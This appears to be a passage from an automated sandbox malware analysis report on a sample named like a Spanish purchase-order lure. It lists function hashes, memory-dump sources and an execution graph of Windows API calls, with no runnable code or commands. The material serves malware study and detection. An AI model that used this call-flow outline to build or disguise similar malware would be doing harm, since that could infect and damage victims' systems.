                                                                                                              • Instruction Fuzzy Hash: CFA15E32E002098FCF15DFA5C9845AEBBF2FF85300B1545AAE911BB265DB71ED59CB80
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 07303E37 Relevance: .2, Instructions: 238COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 9d38f67fa5437759d172edffc5f57a4f97a3c058302b723ac3c3ce0f411e019b
                                                                                                              • Instruction ID: ded0eb867af52532f960a07a63969d7fbfb19ac2670addd5e2d5276c28fde86b
                                                                                                              • Opcode Fuzzy Hash: 9d38f67fa5437759d172edffc5f57a4f97a3c058302b723ac3c3ce0f411e019b
                                                                                                              • Instruction Fuzzy Hash: E5B192B5E016688FDB58DF6AC9546DDBBF2BF89300F14C0A9D909AB364DB305A85CF40
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FFDFD0 Relevance: .2, Instructions: 197COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401835335.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6ff0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 0197a68edb48b66e70c0b1c84aee16845fa36eada01d63e468a1499c41421687
                                                                                                              • Instruction ID: 6ebcdb6cd1f2e161edc19662845d122d392d96739d3f6351115bcfea99e13aab
                                                                                                              • Opcode Fuzzy Hash: 0197a68edb48b66e70c0b1c84aee16845fa36eada01d63e468a1499c41421687
                                                                                                              • Instruction Fuzzy Hash: 26911171A1420ADFCB44CFA9C58489EBBF2FF89350F14A56AD515AB221D770AA42CF90
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FFDFE0 Relevance: .2, Instructions: 196COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401835335.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6ff0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 4228cf38a1e301f5b524b14b12e2c84399e20ca61a07c0a51c7ca181f13fd68f
                                                                                                              • Instruction ID: dc5c0703c47181ac6fd83fbc2584ee71e419f2b24779c1a65e650ca445ac22b0
                                                                                                              • Opcode Fuzzy Hash: 4228cf38a1e301f5b524b14b12e2c84399e20ca61a07c0a51c7ca181f13fd68f
                                                                                                              • Instruction Fuzzy Hash: F191F075E10209DFCB44CFA9C58489EFBF2FF88350F14A56AD515AB221D770AA42CF90
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FFF3D0 Relevance: .2, Instructions: 169COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401835335.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6ff0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: aced2314ce118b2b219a1c9d1fd8f44d8fc81f009430a49d0197df99f9fd523b
                                                                                                              • Instruction ID: 5215fae4c1e0a424969a75768b190b40b6463da44c1a7a95b7a23578b704a108
                                                                                                              • Opcode Fuzzy Hash: aced2314ce118b2b219a1c9d1fd8f44d8fc81f009430a49d0197df99f9fd523b
                                                                                                              • Instruction Fuzzy Hash: E8610675E162098FDB44CFA9C5808DEFBF2FF89210F28946AD515BB224D3349A42CB65
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FFF3E0 Relevance: .2, Instructions: 167COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401835335.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6ff0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: f3560cab6a82fc827d64238e76c03b66d32104ac6737adef7c1b26dbee3cb484
                                                                                                              • Instruction ID: 51b6a85d7306127cf48771d34e5e91050baa3479fc248901fd119cacc64aac00
                                                                                                              • Opcode Fuzzy Hash: f3560cab6a82fc827d64238e76c03b66d32104ac6737adef7c1b26dbee3cb484
                                                                                                              • Instruction Fuzzy Hash: 51710575E16209CFDB44CFAAC6808DEFBF2FF89210F24946AD515BB324D73099428B64
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 07303B51 Relevance: .2, Instructions: 164COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 8e0e2d327a44807a4aefa25c80f5f378c34f22cacdc5e06a355f2083742ca445
                                                                                                              • Instruction ID: 7a5d752fc128b1b20849c8852f18c9c327a40e00b64ddcf691648c5e2e93cd5c
                                                                                                              • Opcode Fuzzy Hash: 8e0e2d327a44807a4aefa25c80f5f378c34f22cacdc5e06a355f2083742ca445
                                                                                                              • Instruction Fuzzy Hash: 1F613F71E012498FDB48EF7AE85569EBBF3BB88300F14C529D0059B269EF7A5906CF40
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 07303B60 Relevance: .2, Instructions: 159COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 7c5f6dbdd1d6c3a351e9154d933fbecaed377d4848331408abc8730d8e1ddf04
                                                                                                              • Instruction ID: 8186b2ba4b747ae7e035ebb23b6b0fdf324499e556ac215baf83884ce522cf20
                                                                                                              • Opcode Fuzzy Hash: 7c5f6dbdd1d6c3a351e9154d933fbecaed377d4848331408abc8730d8e1ddf04
                                                                                                              • Instruction Fuzzy Hash: D7612E71E012458FEB48EF7AE95569EBBF3BB88300F14C529D0059B269EF7A5906CF40
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 07376BE1 Relevance: .2, Instructions: 157COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402704755.0000000007370000.00000040.00000800.00020000.00000000.sdmp, Offset: 07370000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7370000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 1a79aea1997db418d3079f96305bfb820448b350e8576678117ff52a0cc5eea0
                                                                                                              • Instruction ID: 2b0af7e76421d90f9bfad3e835580501fc1fd6f21239248d5f171f8fec50e4ed
                                                                                                              • Opcode Fuzzy Hash: 1a79aea1997db418d3079f96305bfb820448b350e8576678117ff52a0cc5eea0
                                                                                                              • Instruction Fuzzy Hash: DC5126B1700A018FE728CF3AC594B66BBF2EF88700F15846DD59E8B366DA35E841CB10
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 07376BF0 Relevance: .1, Instructions: 139COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402704755.0000000007370000.00000040.00000800.00020000.00000000.sdmp, Offset: 07370000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7370000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: c0b0823229f2324a6b55fcb9eae66dcaa505434304ad439832aa48f64ed1efab
                                                                                                              • Instruction ID: 2d58d748e31e96161a91d9f31354e08834436cba072777a181e491361e1b3560
                                                                                                              • Opcode Fuzzy Hash: c0b0823229f2324a6b55fcb9eae66dcaa505434304ad439832aa48f64ed1efab
                                                                                                              • Instruction Fuzzy Hash: 4E51F3B5710A018FE728DF3AC594B66BBE2BF88700F15846DD59E8B376DA35E841CB10
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 07370380 Relevance: .1, Instructions: 133COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402704755.0000000007370000.00000040.00000800.00020000.00000000.sdmp, Offset: 07370000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7370000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: ce1d4588678d34467750f008056448337e5ef3bfd1cf803e436f1ee82ae2d383
                                                                                                              • Instruction ID: 2a2d43c054c01d3282966658fbe8188c6622c3990d5e371d289f520febfbe372
                                                                                                              • Opcode Fuzzy Hash: ce1d4588678d34467750f008056448337e5ef3bfd1cf803e436f1ee82ae2d383
                                                                                                              • Instruction Fuzzy Hash: 8E5139B4E002198FDB28CFA9C5815AEFBF6BF89300F24C169D419A7355D7349942CFA1
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 073707B8 Relevance: .1, Instructions: 131COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402704755.0000000007370000.00000040.00000800.00020000.00000000.sdmp, Offset: 07370000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7370000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: def2569d7833bf87d791bf3942279bb042b5d300ad1bb80aeb4a683a4ec39abe
                                                                                                              • Instruction ID: 87053d053bbe2bf3cb9c4c1c75b5c3d00156b82c0921819985a0ddfc7027a018
                                                                                                              • Opcode Fuzzy Hash: def2569d7833bf87d791bf3942279bb042b5d300ad1bb80aeb4a683a4ec39abe
                                                                                                              • Instruction Fuzzy Hash: 4E5149B4E002198BEB18CFA9C5806AEFBF6FF89304F24C169D418A7355D7359942CFA1
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 07301D3F Relevance: .1, Instructions: 111COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: b56a3c9ce11ececffece5f29ddb93c0f1ff52bc65a30ad8a143c82d1c863604e
                                                                                                              • Instruction ID: 330d7438c9f4a98a4671b0db43012f57d9308f115a458892f12b2103fa190c52
                                                                                                              • Opcode Fuzzy Hash: b56a3c9ce11ececffece5f29ddb93c0f1ff52bc65a30ad8a143c82d1c863604e
                                                                                                              • Instruction Fuzzy Hash: BB419F71A0539A8FDB05CF7AD8505DEFFB6AF8A310F1880ABD448AB292C7305945CB91
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0730174B Relevance: .1, Instructions: 68COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: c7f5407bca8dd17e148f590f620ea5214bc38cb3a73851334b16ea2f2f15b6a9
                                                                                                              • Instruction ID: a49265f5ac23838a50fb091ba9024ce85ba1dfee41e2fa920e24ad5c82e9b1f7
                                                                                                              • Opcode Fuzzy Hash: c7f5407bca8dd17e148f590f620ea5214bc38cb3a73851334b16ea2f2f15b6a9
                                                                                                              • Instruction Fuzzy Hash: C22168B1E112199BDB08CFAAD8402EEFBF7EBC9300F14C06AE408A7255DA300A018F91
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FFA0A0 Relevance: .1, Instructions: 55COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401835335.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6ff0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 14358d78a95f3256deb9429bcc3fd149fec3379a6ecc5452cf2cf3742abc3c6d
                                                                                                              • Instruction ID: 80cbdcee8483fb81b434919c956c758c58d15e4c8480951cae48cf33d54ff8c6
                                                                                                              • Opcode Fuzzy Hash: 14358d78a95f3256deb9429bcc3fd149fec3379a6ecc5452cf2cf3742abc3c6d
                                                                                                              • Instruction Fuzzy Hash: 8311CCB1E106488FEB58CFABD94069EFBF3AFC8300F04C07AC918A6264EB3405468F11
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FFA0B0 Relevance: .1, Instructions: 51COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401835335.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6ff0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: e12491a7a58d3f11fd3633cd4e7cdc31b9883b48aca40ecd1d9b5968354fd9d6
                                                                                                              • Instruction ID: 7f833a77120d15fd98ded98db6645d1f4870b5b3bb095406eef3e8c3e75c0d1c
                                                                                                              • Opcode Fuzzy Hash: e12491a7a58d3f11fd3633cd4e7cdc31b9883b48aca40ecd1d9b5968354fd9d6
                                                                                                              • Instruction Fuzzy Hash: A2119DB1E106589FEB5CCFABD94469EFAF7AFC8300F04C07AD918A6264EB3415458F51
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FE3390 Relevance: 5.1, Strings: 4, Instructions: 138COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: @$@$B$B
                                                                                                              • API String ID: 0-685577651
                                                                                                              • Opcode ID: a4f772bda9978b653e7fc9f10b79106be5be43a1af8cb0df6ec87b6c429beb79
                                                                                                              • Instruction ID: e9251caa1bfe5e800eb059b714eb02070c8e7b063d577d5ca0fd3547117d7615
                                                                                                              • Opcode Fuzzy Hash: a4f772bda9978b653e7fc9f10b79106be5be43a1af8cb0df6ec87b6c429beb79
                                                                                                              • Instruction Fuzzy Hash: E741DF72F002058FDB55DB69C88886EBBF6FFC92207244166E11ADB3A1DB32DC02C791
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FE337F Relevance: 5.1, Strings: 4, Instructions: 84COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: @$@$B$B
                                                                                                              • API String ID: 0-685577651
                                                                                                              • Opcode ID: bcc16fc523f01757e77f08bb4937ae7cac3903f6b782543ec8317c00f60c48ec
                                                                                                              • Instruction ID: 8b3068dd744b2c2d4ebe2d9ad68a23a3631ef73c7d76011b94488d4f4767b30e
                                                                                                              • Opcode Fuzzy Hash: bcc16fc523f01757e77f08bb4937ae7cac3903f6b782543ec8317c00f60c48ec
                                                                                                              • Instruction Fuzzy Hash: BF219F72E002168FCB55CF69C8898AABFF5FF892117154067E406DB261DB32ED41CB91
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Execution Graph

                                                                                                              Execution Coverage:1.5%
                                                                                                              Dynamic/Decrypted Code Coverage:2.7%
                                                                                                              Signature Coverage:5.8%
                                                                                                              Total number of Nodes:555
                                                                                                              Total number of Limit Nodes:68
                                                                                                              execution_graph 95586 41f130 95587 41f13b 95586->95587 95589 41b960 95586->95589 95590 41b986 95589->95590 95597 409d30 95590->95597 95592 41b9b3 95592->95587 95593 41b992 95593->95592 95605 40c1b0 95593->95605 95595 41b9a5 95641 41a6a0 95595->95641 95598 409d3d 95597->95598 95644 409c80 95597->95644 95600 409d44 95598->95600 95656 409c20 95598->95656 95600->95593 95606 40c1d5 95605->95606 96075 40b1b0 95606->96075 95608 40c22c 96079 40ae30 95608->96079 95610 40c252 95640 40c4a3 95610->95640 96088 414390 95610->96088 95612 40c297 95612->95640 96091 408a60 95612->96091 95614 40c2db 95614->95640 96098 41a4f0 95614->96098 95618 40c331 95619 40c338 95618->95619 96110 41a000 95618->96110 95620 41bdb0 2 API calls 95619->95620 95622 40c345 95620->95622 95622->95595 95624 40c382 95625 41bdb0 2 API calls 95624->95625 95626 40c389 95625->95626 95626->95595 95627 40c392 95628 40f490 3 API calls 95627->95628 95629 40c406 95628->95629 95629->95619 95630 40c411 95629->95630 95631 41bdb0 2 API calls 95630->95631 95632 40c435 95631->95632 96115 41a050 95632->96115 95635 41a000 2 API calls 95636 40c470 95635->95636 95636->95640 96120 419e10 95636->96120 95639 41a6a0 2 API calls 95639->95640 95640->95595 95642 41a6bf ExitProcess 95641->95642 95643 41af50 LdrLoadDll 95641->95643 95643->95642 95675 418bb0 95644->95675 95648 409ca6 95648->95598 95649 409c9c 95649->95648 95682 41b2a0 95649->95682 95651 409ce3 95651->95648 95693 409aa0 95651->95693 95653 409d03 95699 409620 LdrLoadDll 95653->95699 95655 409d15 95655->95598 96050 41b590 95656->96050 95659 41b590 LdrLoadDll 95660 409c4b 95659->95660 95661 41b590 LdrLoadDll 95660->95661 95662 409c61 95661->95662 95663 40f170 95662->95663 95664 40f189 95663->95664 96058 40b030 95664->96058 95666 40f19c 96062 41a1d0 95666->96062 95670 40f1c2 95674 40f1ed 95670->95674 96068 41a250 95670->96068 95672 41a480 2 API calls 95673 409d55 95672->95673 95673->95593 95674->95672 95676 418bbf 95675->95676 95700 414e40 95676->95700 95678 409c93 95679 418a60 95678->95679 95706 41a5f0 95679->95706 95683 41b2b9 95682->95683 95713 414a40 95683->95713 95685 41b2d1 95686 41b2da 95685->95686 95752 41b0e0 95685->95752 95686->95651 95688 41b2ee 95688->95686 95770 419ef0 95688->95770 96028 407ea0 95693->96028 95695 409ac1 95695->95653 95696 409aba 95696->95695 96041 408160 95696->96041 95699->95655 95701 414e4e 95700->95701 95703 414e5a 95700->95703 95701->95703 95705 4152c0 LdrLoadDll 95701->95705 95703->95678 95704 414fac 95704->95678 95705->95704 95707 418a75 95706->95707 95709 41af50 95706->95709 95707->95649 95710 41af60 95709->95710 95712 41af82 95709->95712 95711 414e40 LdrLoadDll 95710->95711 95711->95712 95712->95707 95714 414d75 95713->95714 95715 414a54 95713->95715 95714->95685 95715->95714 95778 419c40 95715->95778 95718 414b80 95781 41a350 95718->95781 95719 414b63 95838 41a450 LdrLoadDll 95719->95838 95722 414b6d 95722->95685 95723 414ba7 95724 41bdb0 2 API calls 95723->95724 95728 414bb3 95724->95728 95725 414d39 95727 41a480 2 API calls 95725->95727 95726 414d4f 95847 414780 LdrLoadDll NtReadFile NtClose 95726->95847 95729 414d40 95727->95729 95728->95722 95728->95725 95728->95726 95732 414c42 95728->95732 95729->95685 95731 414d62 95731->95685 95733 414ca9 95732->95733 95734 414c51 95732->95734 95733->95725 95735 414cbc 95733->95735 95736 414c56 95734->95736 95737 414c6a 95734->95737 95840 41a2d0 95735->95840 95839 414640 LdrLoadDll NtClose LdrInitializeThunk LdrInitializeThunk 95736->95839 95741 414c87 95737->95741 95742 414c6f 95737->95742 95741->95729 95796 414400 95741->95796 95784 4146e0 95742->95784 95744 414c60 95744->95685 95746 414d1c 95844 41a480 95746->95844 95747 414c7d 95747->95685 95750 414c9f 95750->95685 95751 414d28 95751->95685 95753 41b0f1 95752->95753 95754 41b103 95753->95754 95865 41bd30 95753->95865 95754->95688 95756 41b124 95868 414060 95756->95868 95758 41b170 95758->95688 95759 41b147 95759->95758 95760 414060 3 API calls 95759->95760 95761 41b169 95760->95761 95761->95758 95900 415380 95761->95900 95763 41b1fa 95764 41b20a 95763->95764 95994 41aef0 LdrLoadDll 95763->95994 95910 41ad60 95764->95910 95767 41b238 95989 419eb0 95767->95989 95771 41af50 LdrLoadDll 95770->95771 95772 419f0c 95771->95772 95773 419f27 95772->95773 96022 16a2c0a 95772->96022 95775 41bdb0 95773->95775 95776 41b349 95775->95776 96025 41a660 95775->96025 95776->95651 95779 41af50 LdrLoadDll 95778->95779 95780 414b34 95779->95780 95780->95718 95780->95719 95780->95722 95782 41af50 LdrLoadDll 95781->95782 95783 41a36c NtCreateFile 95782->95783 95783->95723 95785 4146fc 95784->95785 95786 41a2d0 LdrLoadDll 95785->95786 95787 41471d 95786->95787 95788 414724 95787->95788 95789 414738 95787->95789 95790 41a480 2 API calls 95788->95790 95791 41a480 2 API calls 95789->95791 95793 41472d 95790->95793 95792 414741 95791->95792 95848 41bfc0 LdrLoadDll RtlAllocateHeap 95792->95848 95793->95747 95795 41474c 95795->95747 95797 41444b 95796->95797 95798 41447e 95796->95798 95800 41a2d0 LdrLoadDll 95797->95800 95799 4145c9 95798->95799 95803 41449a 95798->95803 95801 41a2d0 LdrLoadDll 95799->95801 95802 414466 95800->95802 95808 4145e4 95801->95808 95804 41a480 2 API calls 95802->95804 95805 41a2d0 LdrLoadDll 95803->95805 95806 41446f 95804->95806 95807 4144b5 95805->95807 95806->95750 95810 4144d1 95807->95810 95811 4144bc 95807->95811 95861 41a310 LdrLoadDll 95808->95861 95814 4144d6 95810->95814 95815 4144ec 95810->95815 95813 41a480 2 API calls 95811->95813 95812 41461e 95816 41a480 2 API calls 95812->95816 95817 4144c5 95813->95817 95818 41a480 2 API calls 95814->95818 95819 4144f1 95815->95819 95849 41bf80 95815->95849 95820 414629 95816->95820 95817->95750 95821 4144df 95818->95821 95822 414503 95819->95822 95852 41a400 95819->95852 95820->95750 95821->95750 95822->95750 95825 414557 95826 41456e 95825->95826 95860 41a290 LdrLoadDll 95825->95860 95828 414575 95826->95828 95829 41458a 95826->95829 95831 41a480 2 API calls 95828->95831 95830 41a480 2 API calls 95829->95830 95832 414593 95830->95832 95831->95822 95833 4145bf 95832->95833 95855 41bb80 95832->95855 95833->95750 95835 4145aa 95836 41bdb0 2 API calls 95835->95836 95837 4145b3 95836->95837 95837->95750 95838->95722 95839->95744 95841 41af50 LdrLoadDll 95840->95841 95842 414d04 95841->95842 95843 41a310 LdrLoadDll 95842->95843 95843->95746 95845 41a49c NtClose 95844->95845 95846 41af50 LdrLoadDll 95844->95846 95845->95751 95846->95845 95847->95731 95848->95795 95862 41a620 95849->95862 95851 41bf98 95851->95819 95853 41af50 LdrLoadDll 95852->95853 95854 41a41c NtReadFile 95853->95854 95854->95825 95856 41bba4 95855->95856 95857 41bb8d 95855->95857 95856->95835 95857->95856 95858 41bf80 2 API calls 95857->95858 95859 41bbbb 95858->95859 95859->95835 95860->95826 95861->95812 95863 41af50 LdrLoadDll 95862->95863 95864 41a63c RtlAllocateHeap 95863->95864 95864->95851 95995 41a530 95865->95995 95867 41bd5d 95867->95756 95869 414071 95868->95869 95870 414079 95868->95870 95869->95759 95899 41434c 95870->95899 95998 41cf20 95870->95998 95872 4140cd 95873 41cf20 2 API calls 95872->95873 95877 4140d8 95873->95877 95874 414126 95876 41cf20 2 API calls 95874->95876 95878 41413a 95876->95878 95877->95874 95879 41d050 3 API calls 95877->95879 96009 41cfc0 LdrLoadDll RtlAllocateHeap RtlFreeHeap 95877->96009 95880 414197 95878->95880 96003 41d050 95878->96003 95879->95877 95881 41cf20 2 API calls 95880->95881 95883 4141ad 95881->95883 95884 4141ea 95883->95884 95886 41d050 3 API calls 95883->95886 95885 41cf20 2 API calls 95884->95885 95887 4141f5 95885->95887 95886->95883 95888 41d050 3 API calls 95887->95888 95894 41422f 95887->95894 95888->95887 95890 414324 96011 41cf80 LdrLoadDll RtlFreeHeap 95890->96011 95892 41432e 96012 41cf80 LdrLoadDll RtlFreeHeap 95892->96012 96010 41cf80 LdrLoadDll RtlFreeHeap 95894->96010 95895 414338 96013 41cf80 LdrLoadDll RtlFreeHeap 95895->96013 95897 414342 96014 41cf80 LdrLoadDll RtlFreeHeap 95897->96014 95899->95759 95901 415391 95900->95901 95902 414a40 8 API calls 95901->95902 95904 4153a7 95902->95904 95903 4153fa 95903->95763 95904->95903 95905 4153e2 95904->95905 95906 4153f5 95904->95906 95907 41bdb0 2 API calls 95905->95907 95908 41bdb0 2 API calls 95906->95908 95909 4153e7 95907->95909 95908->95903 95909->95763 95911 41ad74 95910->95911 95912 41ac20 LdrLoadDll 95910->95912 96015 41ac20 95911->96015 95912->95911 95915 41ac20 LdrLoadDll 95916 41ad86 95915->95916 95917 41ac20 LdrLoadDll 95916->95917 95918 41ad8f 95917->95918 95919 41ac20 LdrLoadDll 95918->95919 95920 41ad98 95919->95920 95921 41ac20 LdrLoadDll 95920->95921 95922 41ada1 95921->95922 95923 41ac20 LdrLoadDll 95922->95923 95924 41adad 95923->95924 95925 41ac20 LdrLoadDll 95924->95925 95926 41adb6 95925->95926 95927 41ac20 LdrLoadDll 95926->95927 95928 41adbf 95927->95928 95929 41ac20 LdrLoadDll 95928->95929 95930 41adc8 95929->95930 95931 41ac20 LdrLoadDll 95930->95931 95932 41add1 95931->95932 95933 41ac20 LdrLoadDll 95932->95933 95934 41adda 95933->95934 95935 41ac20 LdrLoadDll 95934->95935 95936 41ade6 95935->95936 95937 41ac20 LdrLoadDll 95936->95937 95938 41adef 95937->95938 95939 41ac20 LdrLoadDll 95938->95939 95940 41adf8 95939->95940 95941 41ac20 LdrLoadDll 95940->95941 95942 41ae01 95941->95942 95943 41ac20 LdrLoadDll 95942->95943 95944 41ae0a 95943->95944 95945 41ac20 LdrLoadDll 95944->95945 95946 41ae13 95945->95946 95947 41ac20 LdrLoadDll 95946->95947 95948 41ae1f 95947->95948 95949 41ac20 LdrLoadDll 95948->95949 95950 41ae28 95949->95950 95951 41ac20 LdrLoadDll 95950->95951 95952 41ae31 95951->95952 95953 41ac20 LdrLoadDll 95952->95953 95954 41ae3a 95953->95954 95955 41ac20 LdrLoadDll 95954->95955 95956 41ae43 95955->95956 95957 41ac20 LdrLoadDll 95956->95957 